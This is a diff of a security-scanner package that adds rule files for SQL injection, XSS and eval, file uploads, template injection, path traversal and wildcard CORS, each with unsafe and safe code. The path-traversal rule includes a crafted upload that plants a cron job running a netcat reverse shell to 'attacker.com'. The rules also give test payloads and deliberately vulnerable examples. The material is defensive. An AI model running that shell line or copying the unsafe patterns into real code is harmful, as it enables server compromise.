torusguard 1.0.0 → 1.3.1

package/.torusguard/rules/TG-INPUT-002-raw-sql-concatenation.md

@@ -0,0 +1,94 @@
+# TG-INPUT-002: Raw SQL Concatenation
+
+## Severity
+Critical
+
+## Applies To
+- Backend services that execute SQL queries
+- Scripts and cron jobs that build dynamic SQL
+- Data export/reporting endpoints with filters and sorting
+- Administrative tooling with direct database access
+
+## Why It Matters
+Concatenating untrusted input into SQL statements allows SQL injection, one of the highest-impact application vulnerabilities.
+Successful exploitation can expose sensitive records, bypass authentication checks, modify or delete data, and in some environments execute database-level administrative operations.
+Even read-only endpoints can become a pivot for full data exfiltration when query construction is unsafe.
+
+## What TorusGuard Looks For
+- String interpolation or concatenation inside SQL query text using request-derived data.
+- Dynamic `WHERE`, `ORDER BY`, `LIMIT`, or table-name fragments assembled from raw user input.
+- Use of low-level query APIs without bind parameters.
+- Sanitization-only approaches (replace/escape) used instead of parameterization.
+- Unsafe helper functions that return query strings rather than query templates plus values.
+
+## Unsafe Example
+```js
+app.get("/api/orders", async (req, res) => {
+  const customerId = req.query.customerId;
+  const sort = req.query.sort || "created_at DESC";
+
+  // Both customerId and sort are attacker-controlled
+  const sql =
+    "SELECT id, total, created_at FROM orders " +
+    "WHERE customer_id = '" + customerId + "' " +
+    "ORDER BY " + sort;
+
+  const rows = await db.query(sql);
+  res.json({ ok: true, orders: rows });
+});
+```
+
+## Safe Example
+```js
+const SORT_COLUMNS = new Map([
+  ["newest", "created_at DESC"],
+  ["oldest", "created_at ASC"],
+  ["total_high", "total DESC"],
+  ["total_low", "total ASC"]
+]);
+
+app.get("/api/orders", async (req, res) => {
+  const customerId = String(req.query.customerId || "");
+  const sortKey = String(req.query.sort || "newest");
+  const sortSql = SORT_COLUMNS.get(sortKey);
+
+  if (!sortSql || !/^[a-f0-9-]{36}$/.test(customerId)) {
+    return res.status(400).json({ ok: false, error: "Invalid query parameters" });
+  }
+
+  const sql = `
+    SELECT id, total, created_at
+    FROM orders
+    WHERE customer_id = $1
+    ORDER BY ${sortSql}
+  `;
+
+  const rows = await db.query(sql, [customerId]);
+  res.json({ ok: true, orders: rows });
+});
+```
+
+## Remediation
+1. Replace all string-built SQL with parameterized queries or prepared statements.
+2. Bind user input as values, never as SQL syntax fragments.
+3. For dynamic sorting/filtering, map user options to fixed allowlisted SQL snippets.
+4. Restrict database account privileges to least privilege to reduce blast radius.
+5. Add static analysis and code review checks that ban raw concatenated SQL.
+6. Cover injection payloads in automated tests for every query endpoint.
+
+## Verification
+- Search for query construction using template interpolation with request variables.
+- Attempt payloads such as `' OR '1'='1` and confirm they are treated as literal values.
+- Verify sort/filter options accept only predefined keys.
+- Review database logs for rejected malformed statements and suspicious patterns.
+- Confirm all DB access layers support parameter binding and are consistently used.
+
+## False Positives and Exceptions
+- Hardcoded SQL strings with no untrusted input are generally safe.
+- Migration files may contain dynamic SQL for schema operations; these are acceptable if not user-influenced.
+- Internal ETL code can still be vulnerable if source data is not trusted; do not auto-exempt.
+
+## Related Rules
+- [TG-INPUT-001](./TG-INPUT-001-missing-server-validation.md)
+- [TG-INPUT-003](./TG-INPUT-003-unsafe-html-or-code-execution.md)
+- [TG-AUTH-003](./TG-AUTH-003-missing-object-authorization.md)

package/.torusguard/rules/TG-INPUT-003-unsafe-html-or-code-execution.md

@@ -0,0 +1,102 @@
+# TG-INPUT-003: Unsafe HTML Rendering or Code Execution
+
+## Severity
+High
+
+## Applies To
+- Server-side rendering pipelines
+- Rich text/comment rendering features
+- Template engines and markdown-to-HTML converters
+- Dynamic expression evaluators and script execution utilities
+
+## Why It Matters
+When untrusted content is rendered as HTML without sanitization, attackers can inject scripts and trigger stored or reflected XSS.
+When untrusted input reaches evaluators such as `eval`, `Function`, or shell execution helpers, remote code execution and server compromise become possible.
+These flaws frequently lead to session theft, account takeover, and full application compromise.
+
+## What TorusGuard Looks For
+- Use of dangerous rendering APIs such as `innerHTML`, `dangerouslySetInnerHTML`, or unsanitized template output.
+- Markdown or rich text conversion with unsafe options enabled.
+- Invocation of `eval`, `new Function`, VM contexts, or command execution with user-controlled fragments.
+- Security filters that rely only on regex stripping of script tags.
+- User content stored and later rendered in privileged admin views.
+
+## Unsafe Example
+```js
+app.post("/api/notes/preview", (req, res) => {
+  const body = req.body.content;
+
+  // Stored then rendered unsafely
+  const html = `<article>${body}</article>`;
+  res.send(html);
+});
+
+app.post("/api/calc", (req, res) => {
+  const expression = req.body.expression;
+
+  // User controls executed code
+  const result = eval(expression);
+  res.json({ ok: true, result });
+});
+```
+
+## Safe Example
+```js
+import sanitizeHtml from "sanitize-html";
+
+app.post("/api/notes/preview", (req, res) => {
+  const content = String(req.body.content || "");
+  const safe = sanitizeHtml(content, {
+    allowedTags: ["p", "b", "i", "strong", "em", "ul", "ol", "li", "a", "code", "pre"],
+    allowedAttributes: { a: ["href", "title"] },
+    allowedSchemes: ["http", "https", "mailto"]
+  });
+
+  res.send(`<article>${safe}</article>`);
+});
+
+app.post("/api/calc", (req, res) => {
+  const op = String(req.body.op || "");
+  const left = Number(req.body.left);
+  const right = Number(req.body.right);
+
+  if (!Number.isFinite(left) || !Number.isFinite(right)) {
+    return res.status(400).json({ ok: false, error: "Invalid numeric input" });
+  }
+
+  const operations = {
+    add: (a, b) => a + b,
+    sub: (a, b) => a - b,
+    mul: (a, b) => a * b,
+    div: (a, b) => (b === 0 ? null : a / b)
+  };
+
+  if (!operations[op]) return res.status(400).json({ ok: false, error: "Unsupported operation" });
+  res.json({ ok: true, result: operations[op](left, right) });
+});
+```
+
+## Remediation
+1. Treat all user-controlled text as untrusted until sanitized for the target context.
+2. Use maintained HTML sanitizers with explicit allowlists for tags and attributes.
+3. Ban runtime code execution functions (`eval`, `Function`, shell interpolation) in request paths.
+4. Replace expression execution with constrained allowlisted operations.
+5. Enforce contextual output encoding in templates and frontend rendering layers.
+6. Add CSP and defense-in-depth controls, but do not treat them as primary mitigation.
+
+## Verification
+- Submit payloads containing event handlers, script tags, and `javascript:` URLs.
+- Confirm rendered output strips unsafe elements and attributes.
+- Attempt expression payloads like `process.env` and verify they are rejected.
+- Run security tests for stored and reflected rendering flows, including admin pages.
+- Ensure static analysis flags prohibited runtime execution APIs.
+
+## False Positives and Exceptions
+- Trusted, static CMS content curated by privileged staff may allow richer HTML if isolated and sanitized by policy.
+- Template literals are not inherently unsafe; only sinks that interpret HTML/code create risk.
+- Sandboxed code execution environments still require strict resource and capability restrictions.
+
+## Related Rules
+- [TG-INPUT-001](./TG-INPUT-001-missing-server-validation.md)
+- [TG-INPUT-002](./TG-INPUT-002-raw-sql-concatenation.md)
+- [TG-AUTH-004](./TG-AUTH-004-insecure-session-cookie.md)

package/.torusguard/rules/TG-INPUT-004-unrestricted-file-upload.md

@@ -0,0 +1,92 @@
+# TG-INPUT-004: Unrestricted File Upload
+
+## Severity
+High
+
+## Applies To
+- Profile avatar and document upload endpoints
+- Media management APIs and admin upload tools
+- Import features that accept archives or spreadsheets
+- Object storage presigned upload workflows
+
+## Why It Matters
+Unrestricted uploads let attackers store executable scripts, malware, oversized payloads, and deceptive file types.
+If uploaded files are publicly accessible or processed unsafely, attackers can trigger XSS, remote code execution, SSRF through parsers, or storage exhaustion denial of service.
+Weak upload controls also create legal and compliance risk when sensitive content is mishandled.
+
+## What TorusGuard Looks For
+- Acceptance based only on filename extension or client-provided MIME type.
+- Missing maximum file size, count, or rate limits.
+- Uploading directly to web-served directories without safe naming.
+- Lack of malware scanning or content-type verification by signature.
+- Processing of complex formats without sandboxing and strict parser limits.
+
+## Unsafe Example
+```js
+app.post("/api/upload", upload.single("file"), async (req, res) => {
+  const file = req.file;
+
+  // Trusts original name and MIME from client
+  const destination = path.join(__dirname, "public/uploads", file.originalname);
+  await fs.promises.writeFile(destination, file.buffer);
+
+  // Public URL serves whatever was uploaded
+  res.json({ ok: true, url: `/uploads/${file.originalname}` });
+});
+```
+
+## Safe Example
+```js
+import crypto from "crypto";
+import FileType from "file-type";
+
+const MAX_SIZE = 5 * 1024 * 1024;
+const ALLOWED = new Set(["image/png", "image/jpeg", "application/pdf"]);
+
+app.post("/api/upload", upload.single("file"), async (req, res) => {
+  const file = req.file;
+  if (!file || file.size > MAX_SIZE) {
+    return res.status(400).json({ ok: false, error: "Invalid file size" });
+  }
+
+  const detected = await FileType.fromBuffer(file.buffer);
+  const mime = detected?.mime || "";
+  if (!ALLOWED.has(mime)) {
+    return res.status(400).json({ ok: false, error: "Unsupported file type" });
+  }
+
+  const extension = mime === "image/png" ? "png" : mime === "image/jpeg" ? "jpg" : "pdf";
+  const storedName = `${crypto.randomUUID()}.${extension}`;
+  const storagePath = path.join(__dirname, "private_uploads", storedName);
+
+  await fs.promises.writeFile(storagePath, file.buffer, { mode: 0o600 });
+  await queueForMalwareScan(storagePath);
+
+  res.json({ ok: true, fileId: storedName });
+});
+```
+
+## Remediation
+1. Enforce strict allowlists for file type, extension, and verified signature/MIME.
+2. Set max size, max count, and upload rate limits per user and per endpoint.
+3. Store files outside web root with generated names, never original filenames.
+4. Scan uploaded content with malware detection before making files retrievable.
+5. Re-validate file safety at retrieval and transformation points (thumbnailing, OCR, parsing).
+6. Use presigned uploads with constrained policies and short expirations where applicable.
+
+## Verification
+- Upload files with double extensions (`.jpg.php`) and mismatched MIME signatures.
+- Attempt oversized and high-frequency uploads to validate throttling and limits.
+- Confirm stored filenames are non-guessable and not user-controlled.
+- Verify uploaded objects cannot be executed as active content by browsers.
+- Ensure parser pipelines reject malformed archives and nested compression bombs.
+
+## False Positives and Exceptions
+- Internal-only transfer channels with signed artifacts may permit broader file types, but must still enforce size and scanning controls.
+- Some media pipelines rely on asynchronous scanning; temporary quarantine states are acceptable with blocked access until scan completion.
+- Legacy endpoints may need phased migration, but unrestricted direct serving is not acceptable long term.
+
+## Related Rules
+- [TG-INPUT-001](./TG-INPUT-001-missing-server-validation.md)
+- [TG-INPUT-003](./TG-INPUT-003-unsafe-html-or-code-execution.md)
+- [TG-AUTH-004](./TG-AUTH-004-insecure-session-cookie.md)

package/.torusguard/rules/TG-INPUT-005-unsafe-template-rendering-and-escaping.md

@@ -0,0 +1,102 @@
+---
+id: TG-INPUT-005
+title: Unsafe Template Rendering & Disabled Autoescaping
+category: input-validation-encoding
+severity: High
+confidence: Confirmed
+frameworks:
+  - django
+  - flask
+  - fastapi
+cwe: CWE-79
+asvs_v4: V5.3.3
+nist_ssdf: PW.5.1
+---
+
+# TG-INPUT-005: Unsafe Template Rendering & Disabled Autoescaping
+
+## 🚨 Problem Statement
+Rendering user-controlled input directly into templates without context-aware escaping (e.g., using `render_template_string` or explicitly disabling escaping with `|safe` or `mark_safe`) allows attackers to inject malicious HTML, JavaScript, or server-side template directives.
+
+> **Tuning Guardrails (v0.5.6):**
+> - **DISTINGUISH** direct unsafe rendering from framework-managed autoescaped template rendering (e.g., passing context variables to `render_template("foo.html", var=x)`).
+> - **DO NOT flag** safe templating utilities or correctly escaped output paths.
+> - **FLAG ONLY** when unsafe rendering, disabled escaping, `mark_safe`, `|safe`, or dynamic template execution is materially relevant.
+
+---
+
+## 💥 Adversarial Threat & Exploitation
+1. **Server-Side Template Injection (Flask / Jinja2):**
+   ```python
+   # Unsafe Flask SSTI
+   @app.route("/greet")
+   def greet():
+       name = request.args.get("name")
+       template = f"<h1>Hello {name}</h1>"
+       return render_template_string(template)  # RCE via {{ 7*7 }} or {{ config.__class__... }}
+   ```
+2. **Cross-Site Scripting (Django / Jinja2):**
+   ```python
+   # Unsafe Django mark_safe
+   from django.utils.safestring import mark_safe
+
+   def comment_view(request):
+       user_comment = request.POST.get("comment")
+       # Bypasses HTML escaping
+       html_output = mark_safe(f"<div class='comment'>{user_comment}</div>")
+       return HttpResponse(html_output)
+   ```
+
+---
+
+## 🛠️ Framework-Native Remediations
+
+### 🐍 Flask / Jinja2 (Safe Parameter Passing)
+
+#### ❌ Unsafe Pattern
+```python
+# Unsafe: Concatenating input into template string
+return render_template_string(f"Hello {user_input}")
+```
+
+#### ✅ Safe Remediation
+```python
+# Safe: Pass input as context variable to autoescaped template file
+from flask import render_template
+
+@app.route("/greet")
+def greet():
+    name = request.args.get("name", "")
+    return render_template("greet.html", name=name)  # Automatically HTML-escaped by Jinja2
+```
+
+---
+
+### 🐍 Django (Template Context & `format_html`)
+
+#### ❌ Unsafe Pattern
+```python
+# Unsafe: mark_safe on unescaped input string
+return HttpResponse(mark_safe(f"<b>Welcome, {username}</b>"))
+```
+
+#### ✅ Safe Remediation
+```python
+# Safe: Use format_html for conditional safe markup with autoescaped arguments
+from django.utils.html import format_html
+
+def welcome_view(request):
+    username = request.GET.get("username", "")
+    # format_html escapes variables while preserving the fixed HTML wrapper
+    safe_markup = format_html("<b>Welcome, {}</b>", username)
+    return HttpResponse(safe_markup)
+```
+
+---
+
+## 🧪 Verification & Reproduction
+1. Submit XSS payload:
+   ```bash
+   curl "http://localhost:5000/greet?name=%3Cscript%3Ealert(1)%3C/script%3E"
+   ```
+2. **Assertion:** Response body must contain HTML entity encoded characters (`&lt;script&gt;alert(1)&lt;/script&gt;`) and must NOT execute raw tags.

package/.torusguard/rules/TG-INPUT-006-unsafe-file-path-traversal.md

@@ -0,0 +1,131 @@
+---
+id: TG-INPUT-006
+title: Path Traversal and Unsafe Upload Storage
+category: file-upload-handling
+severity: Critical
+confidence: Confirmed
+frameworks:
+  - django
+  - flask
+  - fastapi
+cwe: CWE-22
+asvs_v4: V12.1.1
+nist_ssdf: PW.5.1
+---
+
+# TG-INPUT-006: Path Traversal and Unsafe Upload Storage
+
+## 🚨 Problem Statement
+Concatenating untrusted user input directly into file system paths without canonicalization or validation allows attackers to traverse directory boundaries (e.g., `../../etc/passwd`) and read or overwrite arbitrary files on the host system.
+
+> **Tuning Guardrails (v0.5.6):**
+> - **DO NOT treat** every `os.path.join()` as path traversal.
+> - **ESCALATE** when untrusted filename/path input reaches file path construction or storage without canonicalization, allowlisting, sanitization (e.g., `secure_filename`), or safe generated naming.
+> - **RECOGNIZE** project-approved filename normalization wrappers where evidence exists.
+
+---
+
+## 💥 Adversarial Threat & Exploitation
+An attacker uploads a file with a relative path payload:
+```http
+POST /upload HTTP/1.1
+Content-Disposition: form-data; name="file"; filename="../../../../etc/cron.d/malicious_job"
+
+* * * * * root /bin/nc -e /bin/sh attacker.com 4444
+```
+If the server performs `open(os.path.join(UPLOAD_DIR, file.filename), "wb")`, the file is written to `/etc/cron.d/`, resulting in arbitrary Remote Code Execution (RCE) on the host.
+
+---
+
+## 🛠️ Framework-Native Remediations
+
+### 🐍 Flask (Werkzeug `secure_filename` + UUID Prefix)
+
+#### ❌ Unsafe Pattern
+```python
+# Unsafe: Raw client filename in os.path.join
+@app.route("/upload", methods=["POST"])
+def upload():
+    file = request.files["file"]
+    filepath = os.path.join(UPLOAD_FOLDER, file.filename)
+    file.save(filepath)
+```
+
+#### ✅ Safe Remediation
+```python
+# Safe: Sanitize with secure_filename and generate a random UUID prefix
+import uuid
+from werkzeug.utils import secure_filename
+
+ALLOWED_EXTENSIONS = {".png", ".jpg", ".jpeg", ".pdf"}
+
+@app.route("/upload", methods=["POST"])
+def upload():
+    file = request.files.get("file")
+    if not file:
+        return {"error": "No file"}, 400
+
+    filename = secure_filename(file.filename)
+    ext = os.path.splitext(filename)[1].lower()
+
+    if ext not in ALLOWED_EXTENSIONS:
+        return {"error": "Invalid file type"}, 400
+
+    safe_name = f"{uuid.uuid4().hex}_{filename}"
+    filepath = os.path.join(UPLOAD_FOLDER, safe_name)
+    file.save(filepath)
+    return {"status": "uploaded", "file_id": safe_name}
+```
+
+---
+
+### 🐍 FastAPI (`UploadFile` & Safe Path Construction)
+
+#### ❌ Unsafe Pattern
+```python
+# Unsafe: Direct path join with upload.filename
+@app.post("/upload")
+async def upload_file(file: UploadFile = File(...)):
+    dest = Path("/var/uploads") / file.filename
+    with open(dest, "wb") as f:
+        f.write(await file.read())
+```
+
+#### ✅ Safe Remediation
+```python
+# Safe: Whitelist extensions and store using generated UUIDs
+import uuid
+from pathlib import Path
+from fastapi import FastAPI, UploadFile, File, HTTPException
+
+UPLOAD_DIR = Path("/var/uploads").resolve()
+ALLOWED_EXT = {".png", ".jpg", ".pdf"}
+
+@app.post("/upload")
+async def upload_file(file: UploadFile = File(...)):
+    ext = Path(file.filename).suffix.lower()
+    if ext not in ALLOWED_EXT:
+        raise HTTPException(status_code=400, detail="Disallowed file extension")
+
+    safe_filename = f"{uuid.uuid4().hex}{ext}"
+    destination = (UPLOAD_DIR / safe_filename).resolve()
+
+    # Assert destination stays within UPLOAD_DIR
+    if not str(destination).startswith(str(UPLOAD_DIR)):
+        raise HTTPException(status_code=400, detail="Path traversal detected")
+
+    content = await file.read(10 * 1024 * 1024) # Cap size to 10MB
+    with open(destination, "wb") as buffer:
+        buffer.write(content)
+
+    return {"file_id": safe_filename}
+```
+
+---
+
+## 🧪 Verification & Reproduction
+1. Test with traversal filename:
+   ```bash
+   curl -F "file=@test.txt;filename=../../evil.txt" http://localhost:5000/upload
+   ```
+2. **Assertion:** Request must reject with `400 Bad Request` or save strictly inside upload directory as a sanitized UUID without directory traversal.

package/.torusguard/rules/TG-PLATFORM-001-wildcard-cors-with-credentials.md

@@ -0,0 +1,101 @@
+# TG-PLATFORM-001: Wildcard CORS With Credentials
+
+## Severity
+
+High
+
+## Applies To
+
+- API servers configuring CORS headers
+- Express/Fastify/Nest middleware using `cors()` defaults
+- Reverse proxies and gateways injecting `Access-Control-*` headers
+- Session or cookie-authenticated APIs consumed by browsers
+- Multi-tenant APIs with dynamic origin reflection logic
+
+## Why It Matters
+
+Credentialed cross-origin requests require strict origin controls.
+Using wildcard origins with credentials breaks browser security guarantees.
+Misconfigurations can expose authenticated responses to untrusted origins.
+Even partial origin reflection bugs can create cross-site data leakage.
+This often appears as a simple config mistake with severe impact.
+
+## What TorusGuard Looks For
+
+- `Access-Control-Allow-Origin: *` combined with `Access-Control-Allow-Credentials: true`
+- CORS middleware configured with `origin: true` without allowlist validation
+- Reflecting any incoming `Origin` header directly back in responses
+- Missing per-environment allowlists for trusted frontends
+- Inconsistent preflight handling between gateway and application
+- Session-cookie APIs that allow broad or dynamic untrusted origins
+
+## Unsafe Example
+
+```ts
+import cors from "cors";
+
+app.use(cors({
+  origin: "*",
+  credentials: true
+}));
+```
+
+```ts
+app.use((req, res, next) => {
+  res.setHeader("Access-Control-Allow-Origin", req.headers.origin || "*");
+  res.setHeader("Access-Control-Allow-Credentials", "true");
+  next();
+});
+```
+
+## Safe Example
+
+```ts
+import cors from "cors";
+
+const allowedOrigins = new Set([
+  "https://app.example.com",
+  "https://admin.example.com"
+]);
+
+app.use(cors({
+  origin(origin, cb) {
+    if (!origin) return cb(null, true);
+    if (allowedOrigins.has(origin)) return cb(null, true);
+    return cb(new Error("Origin not allowed"));
+  },
+  credentials: true
+}));
+```
+
+## Remediation
+
+1. Remove wildcard origins from any credentialed CORS configuration.
+2. Build explicit allowlists for known trusted web origins per environment.
+3. Validate dynamic origin logic against exact matches, not substring checks.
+4. Keep gateway and app-layer CORS behavior consistent and documented.
+5. Restrict allowed methods and headers to required minimums.
+6. Add tests for preflight and credentialed fetches from trusted/untrusted origins.
+7. Monitor rejected origins to detect probing and config drift.
+8. Reassess CORS when adding new frontend domains or auth mechanisms.
+
+## Verification
+
+- Send credentialed requests from allowed and disallowed origins; verify behavior.
+- Confirm responses never include `*` with credentials enabled.
+- Validate preflight responses include only expected methods/headers.
+- Test browser behavior with real `fetch(..., { credentials: "include" })`.
+- Review gateway response headers in production, not just local dev.
+
+## False Positives and Exceptions
+
+- Non-browser clients where CORS headers are irrelevant to access control
+- Public, fully unauthenticated read-only APIs not using credentials
+- Local development permissive origins, if isolated from production configs
+- Strictly internal tools with network isolation and documented risk acceptance
+
+## Related Rules
+
+- `TG-AUTH-004-insecure-session-cookie.md`
+- `TG-AUTH-002-client-only-authorization.md`
+- `TG-PLATFORM-002-missing-security-headers.md`